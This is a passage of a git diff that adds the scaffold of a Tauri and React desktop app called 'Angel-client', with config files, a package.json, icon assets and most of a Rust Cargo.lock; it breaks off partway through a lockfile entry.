diff --git a/full/Angel-client/.gitignore b/full/Angel-client/.gitignore new file mode 100644 index 0000000..baf4510 --- /dev/null +++ b/full/Angel-client/.gitignore @@ -0,0 +1,24 @@ +# Logs +logs +*.log +npm-debug.log* +yarn-debug.log* +yarn-error.log* +pnpm-debug.log* +lerna-debug.log* + +node_modules +dist +dist-ssr +*.local + +# Editor directories and files +.vscode/* +!.vscode/extensions.json +.idea +.DS_Store +*.suo +*.ntvs* +*.njsproj +*.sln +*.sw? diff --git a/full/Angel-client/.vscode/extensions.json b/full/Angel-client/.vscode/extensions.json new file mode 100644 index 0000000..43660a1 --- /dev/null +++ b/full/Angel-client/.vscode/extensions.json @@ -0,0 +1,3 @@ +{ + "recommendations": ["tauri-apps.tauri-vscode", "rust-lang.rust-analyzer"] +} diff --git a/full/Angel-client/README.txt b/full/Angel-client/README.txt new file mode 100644 index 0000000..8909349 --- /dev/null +++ b/full/Angel-client/README.txt @@ -0,0 +1 @@ +meow~ diff --git a/full/Angel-client/components.json b/full/Angel-client/components.json new file mode 100644 index 0000000..fdd14ae --- /dev/null +++ b/full/Angel-client/components.json @@ -0,0 +1,20 @@ +{ + "$schema": "https://ui.shadcn.com/schema.json", + "style": "new-york", + "rsc": false, + "tsx": true, + "tailwind": { + "config": "tailwind.config.ts", + "css": "src/App.css", + "baseColor": "neutral", + "cssVariables": true, + "prefix": "" + }, + "aliases": { + "components": "@/components", + "utils": "@/lib/utils", + "ui": "@/components/ui", + "lib": "@/lib", + "hooks": "@/hooks" + } +} \ No newline at end of file diff --git a/full/Angel-client/index.html b/full/Angel-client/index.html new file mode 100644 index 0000000..514da16 --- /dev/null +++ b/full/Angel-client/index.html @@ -0,0 +1,14 @@ + + +
+ + + + + + + + + + + diff --git a/full/Angel-client/package.json b/full/Angel-client/package.json new file mode 100644 index 0000000..a3ea9ba --- /dev/null +++ b/full/Angel-client/package.json @@ -0,0 +1,57 @@ +{ + "name": "angel", + "private": true, + "version": "0.1.0", + "type": "module", + "scripts": { + "dev": "vite", + "build": "tsc && vite build", + "preview": "vite preview", + "tauri": "tauri" + }, + "dependencies": { + "@hookform/resolvers": "^3.9.0", + "@radix-ui/react-avatar": "^1.1.1", + "@radix-ui/react-checkbox": "^1.1.2", + "@radix-ui/react-collapsible": "^1.1.1", + "@radix-ui/react-context-menu": "^2.2.2", + "@radix-ui/react-dialog": "^1.1.2", + "@radix-ui/react-dropdown-menu": "^2.1.2", + "@radix-ui/react-icons": "^1.3.0", + "@radix-ui/react-label": "^2.1.0", + "@radix-ui/react-popover": "^1.1.2", + "@radix-ui/react-separator": "^1.1.0", + "@radix-ui/react-slot": "^1.1.0", + "@radix-ui/react-tabs": "^1.1.1", + "@radix-ui/react-toast": "^1.2.2", + "@radix-ui/react-tooltip": "^1.1.3", + "@tanstack/react-table": "^8.20.5", + "@tauri-apps/api": "^2", + "@tauri-apps/plugin-shell": "^2", + "@types/node": "^22.7.7", + "class-variance-authority": "^0.7.0", + "clsx": "^2.1.1", + "cmdk": "1.0.0", + "lucide-react": "^0.453.0", + "react": "^18.2.0", + "react-dom": "^18.2.0", + "react-hook-form": "^7.53.0", + "react-router-dom": "^6.27.0", + "tailwind-merge": "^2.5.4", + "tailwindcss-animate": "^1.0.7", + "zod": "^3.23.8" + }, + "devDependencies": { + "@tauri-apps/cli": "^2", + "@types/react": "^18.2.15", + "@types/react-dom": "^18.2.7", + "@vitejs/plugin-react": "^4.2.1", + "autoprefixer": "^10.4.20", + "postcss": "^8.4.47", + "sass": "^1.80.3", + "tailwindcss": "^3.4.14", + "typescript": "^5.2.2", + "vite": "^5.3.1", + "vite-plugin-sass": "^0.1.0" + } +} diff --git a/full/Angel-client/postcss.config.js b/full/Angel-client/postcss.config.js new file mode 100644 index 0000000..f47c293 --- /dev/null +++ b/full/Angel-client/postcss.config.js @@ -0,0 +1,6 @@ +export default { + plugins: { + tailwindcss: {}, + autoprefixer: {}, + }, +} diff --git a/full/Angel-client/public/angel.png b/full/Angel-client/public/angel.png new file mode 100644 index 0000000..25f7b54 Binary files /dev/null and b/full/Angel-client/public/angel.png differ diff --git a/full/Angel-client/public/close.svg b/full/Angel-client/public/close.svg new file mode 100644 index 0000000..663c8f8 --- /dev/null +++ b/full/Angel-client/public/close.svg @@ -0,0 +1,152 @@ + + + + + diff --git a/full/Angel-client/public/close_hover.svg b/full/Angel-client/public/close_hover.svg new file mode 100644 index 0000000..b26b734 --- /dev/null +++ b/full/Angel-client/public/close_hover.svg @@ -0,0 +1,161 @@ + + + + diff --git a/full/Angel-client/public/d7b98a17f63ffc3ae473e8d5f0b23106.jpg b/full/Angel-client/public/d7b98a17f63ffc3ae473e8d5f0b23106.jpg new file mode 100644 index 0000000..bf1fe6a Binary files /dev/null and b/full/Angel-client/public/d7b98a17f63ffc3ae473e8d5f0b23106.jpg differ diff --git a/full/Angel-client/public/maximize.svg b/full/Angel-client/public/maximize.svg new file mode 100644 index 0000000..2270fd3 --- /dev/null +++ b/full/Angel-client/public/maximize.svg @@ -0,0 +1,151 @@ + + + + diff --git a/full/Angel-client/public/maximize_hover.svg b/full/Angel-client/public/maximize_hover.svg new file mode 100644 index 0000000..cd21e92 --- /dev/null +++ b/full/Angel-client/public/maximize_hover.svg @@ -0,0 +1,161 @@ + + + + diff --git a/full/Angel-client/public/minimize.svg b/full/Angel-client/public/minimize.svg new file mode 100644 index 0000000..d995af9 --- /dev/null +++ b/full/Angel-client/public/minimize.svg @@ -0,0 +1,151 @@ + + + + diff --git a/full/Angel-client/public/minimize_hover.svg b/full/Angel-client/public/minimize_hover.svg new file mode 100644 index 0000000..a5075e9 --- /dev/null +++ b/full/Angel-client/public/minimize_hover.svg @@ -0,0 +1,165 @@ + + + + diff --git a/full/Angel-client/public/oneko.gif b/full/Angel-client/public/oneko.gif new file mode 100644 index 0000000..c387db5 Binary files /dev/null and b/full/Angel-client/public/oneko.gif differ diff --git a/full/Angel-client/src-tauri/.gitignore b/full/Angel-client/src-tauri/.gitignore new file mode 100644 index 0000000..37da797 --- /dev/null +++ b/full/Angel-client/src-tauri/.gitignore @@ -0,0 +1,7 @@ +# Generated by Cargo +# will have compiled files and executables +/target/ + +# Generated by Tauri +# will have schema files for capabilities auto-completion +/gen/schemas diff --git a/full/Angel-client/src-tauri/Cargo.lock b/full/Angel-client/src-tauri/Cargo.lock new file mode 100644 index 0000000..997c006 --- /dev/null +++ b/full/Angel-client/src-tauri/Cargo.lock @@ -0,0 +1,4319 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "addr2line" +version = "0.24.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dfbe277e56a376000877090da837660b4427aad530e3028d44e0bffe4f89a1c1" +dependencies = [ + "gimli", +] + +[[package]] +name = "adler2" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "512761e0bb2578dd7380c6baaa0f4ce03e84f95e960231d1dec8bf4d7d6e2627" + +[[package]] +name = "aho-corasick" +version = "1.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e60d3430d3a69478ad0993f19238d2df97c507009a52b3c10addcd7f6bcb916" +dependencies = [ + "memchr", +] + +[[package]] +name = "alloc-no-stdlib" +version = "2.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc7bb162ec39d46ab1ca8c77bf72e890535becd1751bb45f64c597edb4c8c6b3" + +[[package]] +name = "alloc-stdlib" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94fb8275041c72129eb51b7d0322c29b8387a0386127718b096429201a5d6ece" +dependencies = [ + "alloc-no-stdlib", +] + +[[package]] +name = "android-tzdata" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0" + +[[package]] +name = "android_system_properties" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311" +dependencies = [ + "libc", +] + +[[package]] +name = "angel" +version = "0.1.0" +dependencies = [ + "serde", + "serde_json", + "tauri", + "tauri-build", + "tauri-plugin-shell", +] + +[[package]] +name = "anyhow" +version = "1.0.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "86fdf8605db99b54d3cd748a44c6d04df638eb5dafb219b135d0149bd0db01f6" + +[[package]] +name = "atk" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4af014b17dd80e8af9fa689b2d4a211ddba6eb583c1622f35d0cb543f6b17e4" +dependencies = [ + "atk-sys", + "glib", + "libc", +] + +[[package]] +name = "atk-sys" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "251e0b7d90e33e0ba930891a505a9a35ece37b2dd37a14f3ffc306c13b980009" +dependencies = [ + "glib-sys", + "gobject-sys", + "libc", + "system-deps", +] + +[[package]] +name = "autocfg" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ace50bade8e6234aa140d9a2f552bbee1db4d353f69b8217bc503490fc1a9f26" + +[[package]] +name = "backtrace" +version = "0.3.74" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8d82cb332cdfaed17ae235a638438ac4d4839913cc2af585c3c6746e8f8bee1a" +dependencies = [ + "addr2line", + "cfg-if", + "libc", + "miniz_oxide", + "object", + "rustc-demangle", + "windows-targets 0.52.6", +] + +[[package]] +name = "base64" +version = "0.21.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" + +[[package]] +name = "base64" +version = "0.22.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" + +[[package]] +name = "bitflags" +version = "1.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a" + +[[package]] +name = "bitflags" +version = "2.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b048fb63fd8b5923fc5aa7b340d8e156aec7ec02f0c78fa8a6ddc2613f6f71de" +dependencies = [ + "serde", +] + +[[package]] +name = "block" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d8c1fef690941d3e7788d328517591fecc684c084084702d6ff1641e993699a" + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "block2" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2c132eebf10f5cad5289222520a4a058514204aed6d791f1cf4fe8088b82d15f" +dependencies = [ + "objc2", +] + +[[package]] +name = "brotli" +version = "6.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "74f7971dbd9326d58187408ab83117d8ac1bb9c17b085fdacd1cf2f598719b6b" +dependencies = [ + "alloc-no-stdlib", + "alloc-stdlib", + "brotli-decompressor", +] + +[[package]] +name = "brotli-decompressor" +version = "4.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a45bd2e4095a8b518033b128020dd4a55aab1c0a381ba4404a472630f4bc362" +dependencies = [ + "alloc-no-stdlib", + "alloc-stdlib", +] + +[[package]] +name = "bumpalo" +version = "3.16.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "79296716171880943b8470b5f8d03aa55eb2e645a4874bdbb28adb49162e012c" + +[[package]] +name = "bytemuck" +version = "1.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8334215b81e418a0a7bdb8ef0849474f40bb10c8b71f1c4ed315cff49f32494d" + +[[package]] +name = "byteorder" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" + +[[package]] +name = "bytes" +version = "1.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "428d9aa8fbc0670b7b8d6030a7fadd0f86151cae55e4dbbece15f3780a3dfaf3" +dependencies = [ + "serde", +] + +[[package]] +name = "cairo-rs" +version = "0.18.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ca26ef0159422fb77631dc9d17b102f253b876fe1586b03b803e63a309b4ee2" +dependencies = [ + "bitflags 2.6.0", + "cairo-sys-rs", + "glib", + "libc", + "once_cell", + "thiserror", +] + +[[package]] +name = "cairo-sys-rs" +version = "0.18.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "685c9fa8e590b8b3d678873528d83411db17242a73fccaed827770ea0fedda51" +dependencies = [ + "glib-sys", + "libc", + "system-deps", +] + +[[package]] +name = "camino" +version = "1.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b96ec4966b5813e2c0507c1f86115c8c5abaadc3980879c3424042a02fd1ad3" +dependencies = [ + "serde", +] + +[[package]] +name = "cargo-platform" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24b1f0365a6c6bb4020cd05806fd0d33c44d38046b8bd7f0e40814b9763cabfc" +dependencies = [ + "serde", +] + +[[package]] +name = "cargo_metadata" +version = "0.18.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2d886547e41f740c616ae73108f6eb70afe6d940c7bc697cb30f13daec073037" +dependencies = [ + "camino", + "cargo-platform", + "semver", + "serde", + "serde_json", + "thiserror", +] + +[[package]] +name = "cargo_toml" +version = "0.17.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a969e13a7589e9e3e4207e153bae624ade2b5622fb4684a4923b23ec3d57719" +dependencies = [ + "serde", + "toml 0.8.2", +] + +[[package]] +name = "cc" +version = "1.1.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b16803a61b81d9eabb7eae2588776c4c1e584b738ede45fdbb4c972cec1e9945" +dependencies = [ + "shlex", +] + +[[package]] +name = "cesu8" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6d43a04d8753f35258c91f8ec639f792891f748a1edbd759cf1dcea3382ad83c" + +[[package]] +name = "cfb" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d38f2da7a0a2c4ccf0065be06397cc26a81f4e528be095826eee9d4adbb8c60f" +dependencies = [ + "byteorder", + "fnv", + "uuid", +] + +[[package]] +name = "cfg-expr" +version = "0.15.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d067ad48b8650848b989a59a86c6c36a995d02d2bf778d45c3c5d57bc2718f02" +dependencies = [ + "smallvec", + "target-lexicon", +] + +[[package]] +name = "cfg-if" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" + +[[package]] +name = "cfg_aliases" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724" + +[[package]] +name = "chrono" +version = "0.4.38" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a21f936df1771bf62b77f047b726c4625ff2e8aa607c01ec06e5a05bd8463401" +dependencies = [ + "android-tzdata", + "iana-time-zone", + "num-traits", + "serde", + "windows-targets 0.52.6", +] + +[[package]] +name = "cocoa" +version = "0.26.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f79398230a6e2c08f5c9760610eb6924b52aa9e7950a619602baba59dcbbdbb2" +dependencies = [ + "bitflags 2.6.0", + "block", + "cocoa-foundation", + "core-foundation", + "core-graphics", + "foreign-types", + "libc", + "objc", +] + +[[package]] +name = "cocoa-foundation" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e14045fb83be07b5acf1c0884b2180461635b433455fa35d1cd6f17f1450679d" +dependencies = [ + "bitflags 2.6.0", + "block", + "core-foundation", + "core-graphics-types", + "libc", + "objc", +] + +[[package]] +name = "combine" +version = "4.6.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba5a308b75df32fe02788e748662718f03fde005016435c444eea572398219fd" +dependencies = [ + "bytes", + "memchr", +] + +[[package]] +name = "convert_case" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6245d59a3e82a7fc217c5828a6692dbc6dfb63a0c8c90495621f7b9d79704a0e" + +[[package]] +name = "core-foundation" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b55271e5c8c478ad3f38ad24ef34923091e0548492a266d19b3c0b4d82574c63" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "core-foundation-sys" +version = "0.8.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b" + +[[package]] +name = "core-graphics" +version = "0.24.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa95a34622365fa5bbf40b20b75dba8dfa8c94c734aea8ac9a5ca38af14316f1" +dependencies = [ + "bitflags 2.6.0", + "core-foundation", + "core-graphics-types", + "foreign-types", + "libc", +] + +[[package]] +name = "core-graphics-types" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d44a101f213f6c4cdc1853d4b78aef6db6bdfa3468798cc1d9912f4735013eb" +dependencies = [ + "bitflags 2.6.0", + "core-foundation", + "libc", +] + +[[package]] +name = "cpufeatures" +version = "0.2.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "608697df725056feaccfa42cffdaeeec3fccc4ffc38358ecd19b243e716a78e0" +dependencies = [ + "libc", +] + +[[package]] +name = "crc32fast" +version = "1.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a97769d94ddab943e4510d138150169a2758b5ef3eb191a9ee688de3e23ef7b3" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "crossbeam-channel" +version = "0.5.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "33480d6946193aa8033910124896ca395333cae7e2d1113d1fef6c3272217df2" +dependencies = [ + "crossbeam-utils", +] + +[[package]] +name = "crossbeam-utils" +version = "0.8.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22ec99545bb0ed0ea7bb9b8e1e9122ea386ff8a48c0922e43f36d45ab09e0e80" + +[[package]] +name = "crypto-common" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "cssparser" +version = "0.27.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "754b69d351cdc2d8ee09ae203db831e005560fc6030da058f86ad60c92a9cb0a" +dependencies = [ + "cssparser-macros", + "dtoa-short", + "itoa 0.4.8", + "matches", + "phf 0.8.0", + "proc-macro2", + "quote", + "smallvec", + "syn 1.0.109", +] + +[[package]] +name = "cssparser-macros" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13b588ba4ac1a99f7f2964d24b3d896ddc6bf847ee3855dbd4366f058cfcd331" +dependencies = [ + "quote", + "syn 2.0.79", +] + +[[package]] +name = "ctor" +version = "0.2.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "edb49164822f3ee45b17acd4a208cfc1251410cf0cad9a833234c9890774dd9f" +dependencies = [ + "quote", + "syn 2.0.79", +] + +[[package]] +name = "darling" +version = "0.20.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f63b86c8a8826a49b8c21f08a2d07338eec8d900540f8630dc76284be802989" +dependencies = [ + "darling_core", + "darling_macro", +] + +[[package]] +name = "darling_core" +version = "0.20.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95133861a8032aaea082871032f5815eb9e98cef03fa916ab4500513994df9e5" +dependencies = [ + "fnv", + "ident_case", + "proc-macro2", + "quote", + "strsim", + "syn 2.0.79", +] + +[[package]] +name = "darling_macro" +version = "0.20.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d336a2a514f6ccccaa3e09b02d41d35330c07ddf03a62165fcec10bb561c7806" +dependencies = [ + "darling_core", + "quote", + "syn 2.0.79", +] + +[[package]] +name = "deranged" +version = "0.3.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b42b6fa04a440b495c8b04d0e71b707c585f83cb9cb28cf8cd0d976c315e31b4" +dependencies = [ + "powerfmt", + "serde", +] + +[[package]] +name = "derive_more" +version = "0.99.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5f33878137e4dafd7fa914ad4e259e18a4e8e532b9617a2d0150262bf53abfce" +dependencies = [ + "convert_case", + "proc-macro2", + "quote", + "rustc_version", + "syn 2.0.79", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", +] + +[[package]] +name = "dirs" +version = "5.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "44c45a9d03d6676652bcb5e724c7e988de1acad23a711b5217ab9cbecbec2225" +dependencies = [ + "dirs-sys", +] + +[[package]] +name = "dirs-sys" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "520f05a5cbd335fae5a99ff7a6ab8627577660ee5cfd6a94a6a929b52ff0321c" +dependencies = [ + "libc", + "option-ext", + "redox_users", + "windows-sys 0.48.0", +] + +[[package]] +name = "dispatch" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bd0c93bb4b0c6d9b77f4435b0ae98c24d17f1c45b2ff844c6151a07256ca923b" + +[[package]] +name = "dlopen2" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e1297103d2bbaea85724fcee6294c2d50b1081f9ad47d0f6f6f61eda65315a6" +dependencies = [ + "dlopen2_derive", + "libc", + "once_cell", + "winapi", +] + +[[package]] +name = "dlopen2_derive" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2b99bf03862d7f545ebc28ddd33a665b50865f4dfd84031a393823879bd4c54" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.79", +] + +[[package]] +name = "dpi" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f25c0e292a7ca6d6498557ff1df68f32c99850012b6ea401cf8daf771f22ff53" +dependencies = [ + "serde", +] + +[[package]] +name = "dtoa" +version = "1.0.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dcbb2bf8e87535c23f7a8a321e364ce21462d0ff10cb6407820e8e96dfff6653" + +[[package]] +name = "dtoa-short" +version = "0.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cd1511a7b6a56299bd043a9c167a6d2bfb37bf84a6dfceaba651168adfb43c87" +dependencies = [ + "dtoa", +] + +[[package]] +name = "dunce" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92773504d58c093f6de2459af4af33faa518c13451eb8f2b5698ed3d36e7c813" + +[[package]] +name = "dyn-clone" +version = "1.0.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d6ef0072f8a535281e4876be788938b528e9a1d43900b82c2569af7da799125" + +[[package]] +name = "embed-resource" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f4e24052d7be71f0efb50c201557f6fe7d237cfd5a64fd5bcd7fd8fe32dbbffa" +dependencies = [ + "cc", + "memchr", + "rustc_version", + "toml 0.8.2", + "vswhom", + "winreg", +] + +[[package]] +name = "embed_plist" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4ef6b89e5b37196644d8796de5268852ff179b44e96276cf4290264843743bb7" + +[[package]] +name = "encoding_rs" +version = "0.8.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b45de904aa0b010bce2ab45264d0631681847fa7b6f2eaa7dab7619943bc4f59" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "equivalent" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5" + +[[package]] +name = "erased-serde" +version = "0.4.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24e2389d65ab4fab27dc2a5de7b191e1f6617d1f1c8855c0dc569c94a4cbb18d" +dependencies = [ + "serde", + "typeid", +] + +[[package]] +name = "fdeflate" +version = "0.3.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d8090f921a24b04994d9929e204f50b498a33ea6ba559ffaa05e04f7ee7fb5ab" +dependencies = [ + "simd-adler32", +] + +[[package]] +name = "field-offset" +version = "0.3.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38e2275cc4e4fc009b0669731a1e5ab7ebf11f469eaede2bab9309a5b4d6057f" +dependencies = [ + "memoffset", + "rustc_version", +] + +[[package]] +name = "flate2" +version = "1.0.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1b589b4dc103969ad3cf85c950899926ec64300a1a46d76c03a6072957036f0" +dependencies = [ + "crc32fast", + "miniz_oxide", +] + +[[package]] +name = "fluent-uri" +version = "0.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "17c704e9dbe1ddd863da1e6ff3567795087b1eb201ce80d8fa81162e1516500d" +dependencies = [ + "bitflags 1.3.2", +] + +[[package]] +name = "fnv" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f9eec918d3f24069decb9af1554cad7c880e2da24a9afd88aca000531ab82c1" + +[[package]] +name = "foreign-types" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d737d9aa519fb7b749cbc3b962edcf310a8dd1f4b67c91c4f83975dbdd17d965" +dependencies = [ + "foreign-types-macros", + "foreign-types-shared", +] + +[[package]] +name = "foreign-types-macros" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a5c6c585bc94aaf2c7b51dd4c2ba22680844aba4c687be581871a6f518c5742" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.79", +] + +[[package]] +name = "foreign-types-shared" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aa9a19cbb55df58761df49b23516a86d432839add4af60fc256da840f66ed35b" + +[[package]] +name = "form_urlencoded" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e13624c2627564efccf4934284bdd98cbaa14e79b0b5a141218e507b3a823456" +dependencies = [ + "percent-encoding", +] + +[[package]] +name = "futf" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df420e2e84819663797d1ec6544b13c5be84629e7bb00dc960d6917db2987843" +dependencies = [ + "mac", + "new_debug_unreachable", +] + +[[package]] +name = "futures-channel" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2dff15bf788c671c1934e366d07e30c1814a8ef514e1af724a602e8a2fbe1b10" +dependencies = [ + "futures-core", +] + +[[package]] +name = "futures-core" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05f29059c0c2090612e8d742178b0580d2dc940c837851ad723096f87af6663e" + +[[package]] +name = "futures-executor" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e28d1d997f585e54aebc3f97d39e72338912123a67330d723fdbb564d646c9f" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-io" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e5c1b78ca4aae1ac06c48a526a655760685149f0d465d21f37abfe57ce075c6" + +[[package]] +name = "futures-macro" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "162ee34ebcb7c64a8abebc059ce0fee27c2262618d7b60ed8faf72fef13c3650" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.79", +] + +[[package]] +name = "futures-sink" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e575fab7d1e0dcb8d0c7bcf9a63ee213816ab51902e6d244a95819acacf1d4f7" + +[[package]] +name = "futures-task" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f90f7dce0722e95104fcb095585910c0977252f286e354b5e3bd38902cd99988" + +[[package]] +name = "futures-util" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9fa08315bb612088cc391249efdc3bc77536f16c91f6cf495e6fbe85b20a4a81" +dependencies = [ + "futures-core", + "futures-io", + "futures-macro", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "pin-utils", + "slab", +] + +[[package]] +name = "fxhash" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c31b6d751ae2c7f11320402d34e41349dd1016f8d5d45e48c4312bc8625af50c" +dependencies = [ + "byteorder", +] + +[[package]] +name = "gdk" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 